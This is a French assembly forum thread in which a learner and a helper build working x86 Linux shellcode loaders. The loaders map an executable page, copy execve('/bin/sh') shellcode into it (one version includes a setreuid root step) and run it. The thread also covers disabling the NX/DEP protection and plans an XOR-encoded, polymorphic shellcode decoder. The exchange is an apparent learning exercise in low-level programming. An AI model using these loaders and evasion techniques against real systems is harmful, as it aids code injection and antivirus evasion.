Polymorphisme et pile non exécutable

Version imprimable

11/05/2010, 21h34
Sat80

Polymorphisme et pile non exécutable

Bonjour à tous. J'ai commencé récemment à "developper" en assembleur (entendez par là : essayer de comprendre le fonctionnement intime des programmes), mais je reste bloqué sur une notion en particulier : le polymorphisme.

Comme tout le monde, pour commencer les interruptions système, j'ai rédigé un shellcode, et j'aimerai le rendre polymorphe (un simple cryptage des instructions en Xor, puis rédiger un module de décryptage). Cependant, dans tous les tutos que j'ai lu jusqu'a maintenant, il est expliqué qu'il faut empiler les instructions décodées, puis faire sauter EIP sur la première instruction décryptée, en d'autre termes, faire sauter EIP sur la pile. Cependant, chez moi, cela cause une "Illegal instruction".

J'ai lu quelque part que désormais, la pile n'est plus exécutable. Cela expliquerait mon problème, mais existe t'il d'autres manières de créer un code polymorphe ? Peut on, sinon, modifier le segment de code pour ajouter les inscriptions décodées ?

Je suppose que je me pose des questions stupides, mais je n'arrive pas à comprendre ce point. Merci d'avance pour votre aide.

Sat.
12/05/2010, 20h47
Neitsa

Bonjour,

Citation:

Bonjour à tous. J'ai commencé récemment à "developper" en assembleur (entendez par là : essayer de comprendre le fonctionnement intime des programmes), mais je reste bloqué sur une notion en particulier : le polymorphisme.

Comme tout le monde, pour commencer les interruptions système, j'ai rédigé un shellcode, et j'aimerai le rendre polymorphe (un simple cryptage des instructions en Xor, puis rédiger un module de décryptage)

Il faut faire la distinction sémantique entre code polymorphique et SMC (Self Modifying Code).

Le code polymorphe est un code qui change à chaque fois (à chaque démarrage) mais qui reste, de manière algorithmique, le même.

Le SMC est un code qui se déchiffre lui même, mais qui reste semblable entre chaque démarrage.

Enfin, c'était une simple précision pour que l'on soit d'accord sur ce que tu essayes d'implémenter.

Citation:

Envoyé par Sat80

Cependant, dans tous les tutos que j'ai lu jusqu'a maintenant, il est expliqué qu'il faut empiler les instructions décodées, puis faire sauter EIP sur la première instruction décryptée, en d'autre termes, faire sauter EIP sur la pile

La pile n'est pas une obligation pour exécuter du code SMC ou polymorphe. Tu peux très bien le faire sur la pile, le tas, une section donnée ou même une section de code, même s'il est vrai qu'habituellement, notamment pour les shellcodes, c'est la pile qui est le plus souvent ciblée.

Citation:

Cependant, chez moi, cela cause une "Illegal instruction". J'ai lu quelque part que désormais, la pile n'est plus exécutable. Cela expliquerait mon problème, mais existe t'il d'autres manières de créer un code polymorphe ?

Sous tous les O.S récents, la pile est protégée via le NX bit (DEP sous Windows), justement pour éviter les exécutions en cas de BOF. C'est désactivable par processus ou pour le système entier. A voir suivant ton système.

Citation:

Peut on, sinon, modifier le segment de code pour ajouter les inscriptions décodées ?

Par défaut, les sections de code sont exécutables et lisibles (executable & readable) mais pas en écriture (writable), ce qui est censé si on y réfléchit, pour éviter justement le code qui se modifierais lui-même par erreur (erreur d'implémentation) ou encore les codes SMC difficilement détectables pour les AV.

Tu peux demander au linker de faire de façon à ce que ta section de code soit aussi en écriture. A voir suivant le compilo/linker utilisé.

Ceci dit, quelques précisions sur ce que tu essayes de faire précisément (SMC, polymorphe, métamorphe, etc.) ainsi que ton système et sa version exacte seraient utile pour des réponses moins généralistes. N'hésites pas à poster un bout de code et nous dire où ça segfault le cas échéant.

Une possibilité moins contraignante pour tes expérimentations serait d'allouer une page en lecture, écriture et exécution, faire un memcpy() de ton shellcode (déclarer en tant que tableau de char static par exemple) vers la page allouée précédemment et de rediriger le flot de code vers cette page.
13/05/2010, 00h24
Sat80

Merci pour ta réponse. Je vais me pencher sur les différents points que tu as abordé, et je posterais un autre message si j'ai besoin d'aide.

Merci pour ton aide. Sat

Rebonsoir. J'ai essayé d'allouer une partie de la mémoire (executable) mais je segfault. Pourriez vous m'éclaircir un peu s'il vous plait ? En l'occurence, j'ai créé un shellcode que je stocke sur la pile. J'utilise l'appel mmap() pour le mapper en mémoire, mais je segfault au moment du JMP edi. Je suppose que j'ai fait une erreur de débutant, mais je n'arrive pas à la corriger.

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
section .data
SHELLCODE db 0xeb,0x22,0x66,0x5b,0x66,0x31,0xc0,0x67,0x66,0x89,0x43,0x07,0x67,0x66,0x89,0x5b,0x08,0x67,0x66,0x89,0x43,0x0c,0x67,0x66,0x8d,0x4b,0x08,0x67,0x66,0x8d,0x53,0x0c,0xb0,0x0b,0xcd,0x80,0xb0,0x46,0x66,0x31,0xdb,0x66,0x31,0xc9,0xcd,0x80,0xe8,0xd1,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
 
section .text
global _start
 
_start:
 
	;void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset);
	;mmap (&shellcode,56,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS,-1,0)
	;On mappe le fichier en mémoire
	xor	eax,	eax
	xor	ebx,	ebx
	xor	ecx,	ecx
	push	eax		;On empile des octets nuls avant SHELLCODE
	push	SHELLCODE
	mov	esi,	esp	;Sauvegarde du pointeur ESP dans esi
 
	push	dword	eax	;On empile des octets nuls
	push	dword	0xff	;-1
	push	dword	0x20	;MAP_ANONYMOUS
	push	dword	0x07	;PROT_WRITE | PROT_EXEC | PROT_READ
	push	dword	0x38	;On empile le nombre d'octets à mapper
	push	dword	esi	;On empile l'adresse mémoire esi
 
	mov	ebx,	esp	;On place le pointeur vers le premier argument dans ebx
	mov 	al,	0x5a	;Appel mmap n°90
	int	0x80
 
        xchg edi, eax
        xor eax, eax
	jmp	edi		;On saute au début du buffer alloué. [SEGFAULT]

Voici le shellcode que j'utilise, tout ce qu'il y a de plus classique:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
jmp short alpha
 
beta:
	pop ebx
	xor eax,eax
	mov [ebx+7],eax
	mov [ebx+8],ebx
	mov [ebx+12],eax
 
	lea ecx,[ebx+8]
	lea edx,[ebx+12]
	mov al,11
 
	int 0x80
alpha:
	;Récupère le root
	mov al,70
	xor ebx,ebx
	xor ecx,ecx
	int 0x80
 
	call beta
	db "/bin/sh" ;

Voila, en espérant que vous pourrez m'eclaircir sur ce sujet ! Merci d'avance pour votre aide.

Cordialement, Sat.

Bonjour,

L'erreur se stiue probablement dans le premier argument de mmap() qui devrait être NULL (0). Là tu lui passes une addrsse sur la pile, du coup, mmap() échoue et ne renvoie pas un pointeur valide (NULL), donc le saut vers le shellcode échoue.

En passant 0, dans le premier arg à mmap(), tu laisses le système te donner une page, celle qu'il veut.

Voilà un exemple de mapping de page avec copie d'un shellcode et appel sur la page (NASM):

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
 
; mmap.asm:    map executable memory page & execute shellcode
; Assemble:           nasm -f elf mmap.asm
; Link (32-bit):      gcc -o mmap  mmap.o
; Link (64-bit):      gcc -m32 -o mmap mmap.o
; Run:                mmap
 
 
BITS 32
 
; Declare some external C functions
;
extern  printf
extern  memcpy
extern  mmap
extern  munmap 
 
;
; data
;
SECTION .data
 
PAGE_SIZE       equ 0x1000
 
format_page     db "[*] Mapped page: %p", 0x0a, 0
error_message   db "[-] Error!", 0x0a, 0
 
shellcode       db 0x90, 0x90, 0x90, 0xc3
shellcode_len   equ $-shellcode
 
;
; code
;
 
SECTION .text
 
    global main		
main:
    push    ebp
    mov     ebp,esp
 
    push 0          ;offset
    push -1         ; fd
    push 0x22       ; flags: MAP_ANONYMOUS | MAP_PRIVATE
    push 0x7        ; prot: PROT_EXEC | PROT_READ | PROT_WRITE
    push PAGE_SIZE  ; size: (page size: 4096)
    push 0          ; let the system choose a VA
    call mmap       ; map page
    add esp, 24 ; stack cleanup
    test eax, eax; check error
    jz error
 
    ; keep track of mapped page pointer
    mov esi, eax     
 
    ; print page address
    push eax
    push format_page
    call printf
    add esp, 8    
 
    ; copy shellcode to mapped page
    push shellcode_len
    push shellcode
    push esi
    call memcpy
    add esp, 12
 
    ; call shellcode
    call esi
 
    ; unmap page
    push PAGE_SIZE
    push esi
    call munmap
    add esp, 8
    cmp eax, -1
    jz error
 
    jmp end
error:
    push error_message
    call printf
    add esp, 4
 
end:
    mov     esp, ebp	
    pop     ebp		
 
    mov	eax,0		
    ret

output:

Citation:

seb@ubuntu10-desktop:~/Documents/asm$ nasm -f elf mmap.asm
seb@ubuntu10-desktop:~/Documents/asm$ gcc -m32 -o mmap mmap.o
seb@ubuntu10-desktop:~/Documents/asm$ ./mmap [*] Mapped page: 0xf76ef000
seb@ubuntu10-desktop:~/Documents/asm$ ltrace ./mmap
__libc_start_main(0x8048490, 1, 0xffb90244, 0x8048540, 0x8048530 <unfinished ...>
mmap(0, 4096, 7, 34, -1) = 0xf7752000
printf("[*] Mapped page: %p\n", 0xf7752000[*] Mapped page: 0xf7752000
) = 28
memcpy(0xf7752000, "\220\220\220\303", 4) = 0xf7752000
munmap(0xf7752000, 4096, 0xffb90218, 0xf75f7bd6, 1) = 0
+++ exited (status 0) +++
seb@ubuntu10-desktop:~/Documents/asm$

Le "shellcode" ne fait rien (3 NOP et un RET) mais l'idée est là, tu peux remplacer avec ce que tu veux. Dans le cas d'un shellcode courant comme execve(), n'oublie pas que le système ne rend pas la main au programme appelant.

Au départ j'étais partit pour le faire en C, je post le code au cas où:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
 
static unsigned char test_nop[] = "\x90\x90\x90\xC3";
/*execve bin/sh */
static unsigned char test_execve[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80\xc3";
 
int main(void)
{
	void* pMap = NULL;
	int PageSize = 0;
	int ret;
	char* pCharMap = NULL;
 
	PageSize = getpagesize();
	printf("[*] System Page size is: 0x%08X\n", PageSize);
 
	printf("[*] Trying to map exec page\n");
	pMap = mmap(NULL, PageSize, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	if(pMap == MAP_FAILED)
	{
		printf("[-] Error: could'nt map memory page.\n");
		return -1;
	}
 
	printf("[+] Successfuly mapped memory page: %p\n", pMap);
 
	/* trying to write shellcode on mapped page */
	pCharMap = pMap;
	memcpy(pCharMap, test_execve, sizeof(test_execve));
 
	/* creating a function pointer */
	void (*func)();
	func = (void (*)()) pMap;
 
	/* call directly onto memory page */
	printf("[*] Calling mapped page.\n");
	(void)(*func)();
 
	/* unmap the page */
	ret = munmap(pMap, PageSize);
	if(ret == -1)
	{
		printf("[-] Error: couldn't unmap the memory page.\n");
		return -1;
	}
 
	printf("[+] Successfuly unmapped the memory page.\n");	
 
	pMap = NULL;
	pCharMap = NULL;
 
	return 0;
}

15/05/2010, 01h20
Sat80

Merci beaucoup. Je me pencherais sur tes codes demain. Merci pour ton aide.

Sat

Rebonjour. Merci encore pour ton aide, l'exemple que tu m'a donné m'a beaucoup aidé. Cependant j'aurai une dernière question : en fait, j'aurais aimé éviter de travailler avec la libc (par souci de taille notamment - je sais, je suis capricieux). Ainsi, la solution serait de travailler avec les appels systèmes.

J'ai essayé de traduire avec les appels systèmes ton appel de mmap(), mais je segfault.
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 section .text global _start _start: ;Nettoyage des registres xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ;void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset); push edx ;offset = 0 push -1 ;fd = -1 push 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE push 0x7 ;PROT_READ | PROT_WRITE | PROT_EXEC push 0x1000 ;4096 octets push edx ;start = NULL mov ebx, esp ;Arguments dans ebx mov eax, 0x5a ;Appel MMAP int 0x80 ; [SEGMENTATION FAULT] add esp, 24 ;Nettoyage de la pile mov esi, eax ;Sauvegarde dans esi ;Fin du programme ( exit(0)) EXIT: mov al, 1 mov bl, 0 int 0x80
Je commence à penser que l'assembleur est trop compliqué pour moi !

Cordialement,

Sat.

Bonjour,
Citation:
Envoyé par Sat80
J'ai essayé de traduire avec les appels systèmes ton appel de mmap(), mais je segfault.
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 section .text global _start _start: ;Nettoyage des registres xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ;void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset); push edx ;offset = 0 push -1 ;fd = -1 push 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE push 0x7 ;PROT_READ | PROT_WRITE | PROT_EXEC push 0x1000 ;4096 octets push edx ;start = NULL mov ebx, esp ;Arguments dans ebx mov eax, 0x5a ;Appel MMAP int 0x80 ; [SEGMENTATION FAULT] add esp, 24 ;Nettoyage de la pile mov esi, eax ;Sauvegarde dans esi ;Fin du programme ( exit(0)) EXIT: mov al, 1 mov bl, 0 int 0x80
Hmmm c'est bizarre... :?

J'ai copié/collé ton code (remplacé '_start' par 'main', c'est tout), compilé avec nasm et il n'y a pas de problème chez moi (pas de segfault en tout cas).

Citation:

seb@ubuntu10-desktop:~/Documents/asm$ nasm -f elf test.asm
seb@ubuntu10-desktop:~/Documents/asm$ gcc -m32 -o test test.o
seb@ubuntu10-desktop:~/Documents/asm$ ./test
seb@ubuntu10-desktop:~/Documents/asm$

J'ai testé avec un autre code pour voir (juste ajouté deux printf pour voir ce qu'il se passait):
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 ; syscall.asm: map executable memory page & execute shellcode ; Assemble: nasm -f elf syscall.asm ; Link (32-bit): gcc -o syscall syscall.o ; Link (32 on 64): gcc -m32 -o syscall syscall.o ; Run: syscall BITS 32 extern printf ; ; data ; SECTION .data PAGE_SIZE equ 0x1000 format_page db "[*] Mapped page: %p", 0x0a, 0 error_message db "[-] Error!", 0x0a, 0 ; ; code ; SECTION .text global main main: push ebp mov ebp,esp sub esp, 6*4 ; code équivalent au code qui suit ; mov dword[esp+0x14], 0 ; mov dword[esp+0x10], -1 ; mov dword[esp+0x0c], 0x22 ; mov dword[esp+0x08], 0x07 ; mov dword[esp+0x04], 0x1000 ; mov dword[esp+0x00], 0 ; lea ebx, [esp] ; mov ebx, esp ; mov eax, 90 ; 0x5a ; int 0x80 ; add esp, 6*4 push 0 push -1 push 0x22 push 0x07 push 0x1000 push 0 lea ebx, [esp] ; mov ebx, esp mov eax, 90 ; 0x5a int 0x80 add esp, 6*4 test eax, eax; check error jz error mov esi, eax push eax push format_page call printf add esp, 8 jmp end error: push error_message call printf add esp, 4 end: mov esp, ebp pop ebp mov eax,0 ret
Output:

Citation:

seb@ubuntu10-desktop:~/Documents/asm$ nasm -f elf syscall.asm
seb@ubuntu10-desktop:~/Documents/asm$ gcc -m32 -o syscall syscall.o
seb@ubuntu10-desktop:~/Documents/asm$ ./syscall [*] Mapped page: 0xf77ae000
seb@ubuntu10-desktop:~/Documents/asm$ ./syscall [*] Mapped page: 0xf774a000

Donc chez moi ça fonctionne... (Ubuntu 10-04).

:arrow: Tu es sur quel système exactement ? (+ version kernel)
:arrow: As-tu essayé un code minimal avec des syscalls plus simples, genre sys_getpid (20) ?

Bonsoir.

J'ai mis à jour Ubuntu (j'etais sous la version 9.04) et desormais je ne segfault plus. Merci encore pour ton aide.
Cependant, si ça ne te dérange pas de répondre à une dernière question, je n'arrive pas à copier dans la zone mémoire allouée sans utiliser memcpy. J'ai tenté le code suivant, mais il segfault =/. Si tu avais une idée par hasard ^^

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
section .data:
shellcode	db 	0x66,0x31,0xc0,0x66,0x31,0xdb,0x66,0x31,0xc9,0x66,0xb8,0x0b,0x00,0x00,0x00,0x66,0x52,0x66,0x68,0x2f,0x73,0x68,0x00,0x66,0x68,0x2f,0x62,0x69,0x6e,0x66,0x89,0xe3,0x66,0x52,0x66,0x89,0xe2,0x66,0x53,0x66,0x89,0xe1,0xcd,0x80,0x66,0x81,0xc4,0x14,0x00,0x00,0x00,0xc3
shellcode_len   equ $-shellcode
 
section .text
global _start
 
_start:
	;mmap (0,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS,-1,0)
	push 0
	push -1
	push 0x22
	push 0x7
	push 0x1000
        push 0
 
	mov ebx,esp
	mov eax,90
	int 0x80 ; Mémoire allouée - pointeur dans eax
 
	xchg esi,eax	
 
	;On copie le shellcode
	push shellcode
	mov ecx,shellcode_len +1
 
	LOOP_COP:
		mov edi,[esp + ecx - 1]
		mov [esi + ecx - 1],edi
		loop LOOP_COP	
	jmp esi	; ---> SEGFAULT
 
EXIT:
	mov eax,1
	mov ebx,0
	int 0x80

Cordialement, Sat

Bonjour,
Code:

1 2 3 4 5 6 7 8 9 push shellcode mov ecx,shellcode_len +1 LOOP_COP: mov edi,[esp + ecx - 1] ; ecx pointe dans le shellcode ! pas au début mov [esi + ecx - 1],edi loop LOOP_COP jmp esi ; ---> SEGFAULT
Quelques petites remarques:

- un (ou des) push doit toujours s'accompagner d'un rétablissement de la pile, via un 'pop' ou un 'add esp, x'. Dans le cas où ton shellcode te rend la main, ça pourrait poser des problèmes. Un des rares cas ou cela n'est pas nécessaire est lors d'un appel à une fonction stdcall qui dépile elle-même les paramètres empilés par l'appelant.

- 'loop' est considéré aujourd'hui comme une instruction dépréciée (trop lente sur les processeurs actuels). Ca n'empêche toutefois pas de l'utiliser!

A ce sujet, il existe de multiples manière de faire une copie en assembleur.
Par convention, on utilise 'esi' pour la source, 'edi' pour la destination et 'ecx' pour le compteur de boucle (sauf dans le cas de l'utilisation de l'instruction MOVS où c'est une obligation):

- ESI = Source
- EDI = Destination
- ECX = Compteur
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 mov esi, shellcode mov edi, mem_page xor ecx, ecx boucle: mov al, byte [esi] ; récupère 1 octet de la source mov byte [edi], al ; écrit l'octet dans la destination inc esi ; source adresse + 1 inc edi ; dest adresse + 1 inc ecx ; compteur + 1 cmp ecx, shellcode_len ; est-on à a fin de la copie ? jne boucle ; si non, boucle encore
Un code plus simple utilisant MOVS, une instruction qui sert uniquement à la copie:
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 ; syscall.asm: map executable memory page & execute shellcode ; Assemble: nasm -f elf syscall.asm ; Link (32-bit): gcc -o syscall syscall.o ; Link (32 on 64): gcc -m32 -o syscall syscall.o ; Run: syscall BITS 32 extern printf ; ; data ; SECTION .data PAGE_SIZE equ 0x1000 shellcode db 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x99, 0x50, 0xb0, 0x0b, 0x59, 0xcd, 0x80, 0xc3 shellcode_len equ $-shellcode format_page db "[*] Mapped page: %p", 0x0a, 0 error_message db "[-] Error!", 0x0a, 0 ; ; code ; SECTION .text global main main: push ebp mov ebp,esp sub esp, 6*4 push 0 push -1 push 0x22 push 0x07 push 0x1000 push 0 lea ebx, [esp] ; mov ebx, esp mov eax, 90 ; 0x5a int 0x80 add esp, 6*4 test eax, eax; check error jz error ; print page address mov edi, eax push eax push format_page call printf add esp, 8 ;copy shellcode to mapped page push edi ;keep track of mapped page (destination) mov ecx, shellcode_len ; (counter) lea esi, [shellcode] ; (source) rep movsb ;call shellcode pop edi ;recover mapped page address call edi ; call it ; note: execve shellcode doesn't return! jmp end error: push error_message call printf add esp, 4 end: mov esp, ebp pop ebp mov eax,0 ret
Output :

Citation:

seb@ubuntu10-desktop:~/Documents/asm$ nasm -f elf syscall.asm
seb@ubuntu10-desktop:~/Documents/asm$ gcc -m32 -o syscall syscall.o
seb@ubuntu10-desktop:~/Documents/asm$ ./syscall [*] Mapped page: 0xf7764000
$ exit
seb@ubuntu10-desktop:~/Documents/asm$

N.B: chez moi, ton shellcode segfault, je l'ai remplacé par un autre shellcode (excve sur bin/sh).

Maintenant, tu disposes d'un code minimal fonctionnel pour tester tes shellcodes. Tu devrais pouvoir passer à l'étape du chiffrement/déchiffrement qui était ton but initial.

Suggestion: Commence par écrire un chiffreur (crypteur) avec un XOR sur un octet (de même pour le déchiffreur). Le chiffreur n'a pas à être dans le code du shellcode, seul le déchiffreur devra être placer en en-tête du shellcode et lui rendre ensuite la main.

Tu peux écrire un programme à part entière, pas forcément en asm, qui prend en entrée un shellcode (sous forme de texte par exemple) et qui produit en sortie le déchiffreur suivit du shellcode chiffré.

N'hésites pas si tu as des questions :D

16/05/2010, 16h50
Sat80

Tout marche très bien desormais, merci !

Je ne conaissais pas l'instruction movsb qui se révèle en fait bien pratique (bien plus que la boucle).

Je m'attaque donc à la création d'une routine de décryptage xor ! En tout cas, merci pour ta patience.

Cordialement, Sat.
24/09/2010, 19h39
jose.hello

j'ai vu cet article qui est très intéressant !
http://infond.blogspot.com/2009/12/p...heap-dans.html
Si vous regardez la fin on s'apercoit que le Nx bit sert à rien avec gdb.

Sinon comment désactiver le NX bit autrement qu'au démarrage : comme ici http://faq.online.net/gestion:nxbit.

On peut le désactiver en utilisateur simple ?